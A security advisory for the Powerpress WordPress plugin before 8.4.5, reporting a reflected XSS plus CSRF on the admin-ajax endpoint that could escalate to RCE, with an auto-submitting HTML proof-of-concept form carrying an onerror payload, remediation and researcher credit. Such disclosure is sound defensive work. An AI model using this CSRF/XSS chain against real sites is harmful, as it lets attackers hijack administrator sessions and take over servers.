Summary
Affected versions of Powerpress WordPress plugin are vulnerable to a reflected XSS and CSRF to the admin page. Combining the two vulnerabilities an attacker could achieve an RCE.
Product
Powerpress WordPress plugin before version 8.4.5
Impact
Exploiting XSS on an admin in WordPress could result in RCE when editing a plugin code.
Steps to reproduce
- WordPress with the vulnerable plugin installed on port 8000.
- Admin navigates to
<html><head></head> <body> <form action="http://localhost:8000/wp-admin/admin-ajax.php?action=powerpress_metamarks_addrow" method="POST"> <input type="text" name="next_row" value='"><img src=v onerror=alert(1) >' /> <input type="text" name="action" value="powerpress_metamarks_addrow" /> <button>Submit</button> </form> <script> document.querySelector('form').submit(); </script> </body></html>
Expected result:
Powerpress settings page will show with a javascript alert.
Remediation
Update Powerpress plugin to 8.4.5 or above.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher @ronmasas (Ron Masas).
